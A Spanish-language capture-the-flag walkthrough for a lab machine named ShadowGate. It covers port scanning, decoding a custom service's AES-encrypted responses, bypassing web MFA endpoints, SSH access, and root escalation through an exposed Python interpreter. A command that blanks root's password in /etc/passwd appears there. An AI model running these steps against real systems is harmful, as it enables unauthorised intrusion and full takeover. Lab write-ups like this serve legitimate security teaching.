Resolución del CTF ShadowGate
Enumeración
Escaneo de puertos
Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo.
nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.0.100- -p- : Escaneo de todos los puertos. (65535)
- -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
- -sC : Escaneo con scripts básicos de reconocimiento.
- -sV : Detección de servicios.
- –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
- -n : Sin resolución DNS.
- -Pn : Sin descubrimiento por ping.
Servicios relevantes identificados:
22/tcp (SSH), 8080/tcp (HTTP – Werkzeug/Python), 56789/tcp (servicio personalizado).
Enumeración del servicio personalizado (56789)
Interactuamos directamente con el servicio para analizar su comportamiento y mensajes.
nc 192.168.0.100 56789El banner sugiere el uso de la cadena n0cturne. Al enviarla, el servicio devuelve múltiples cadenas en Base64.
echo 'YzRmN2QzNQ==' | base64 -dLa primera cadena decodifica siempre a c4f7d35. El resto son bloques de 16 bytes, consistentes con AES-128. Generamos la clave aplicando SHA-256 al valor fijo.
echo -n 'c4f7d35' | sha256sumAl descifrar repetidamente los bloques en modo ECB, el patrón constante obtenido es v4u1tgx9, que utilizamos como identificador válido.
Enumeración y explotación web (8080)
Enumeramos rutas accesibles mediante fuerza bruta y detectamos el endpoint /login, que requiere método POST.
curl -X POST http://192.168.0.100:8080/login -d "username=v4u1tgx9"La respuesta incluye la cabecera X-Shadow-MFA, indicando un segundo factor requerido. Continuamos enumerando y localizamos el endpoint /verify.
curl -X POST http://192.168.0.100:8080/verify -d "username=v4u1tgx9&token=TOKEN_MFA"Tras validar usuario y token, el servicio 56789 cambia su comportamiento y entrega credenciales SSH.
Acceso al sistema
Obtenemos credenciales válidas y accedemos por SSH.
Desde la sesión de usuario identificamos un servicio local escuchando en 127.0.0.1:4444.
ss -tulnpEscalada de privilegios
El servicio local expone un intérprete Python sin restricciones. Nos conectamos directamente desde la máquina comprometida.
nc 127.0.0.1 4444Ejecutamos comandos arbitrarios con privilegios de root. Verificamos el contexto y escalamos permanentemente.
import os; os.system("id")import os; os.system("sed -i 's/root:x:/root::/' /etc/passwd")Accedemos como root sin contraseña y completamos la escalada.
sucat /root/root.txt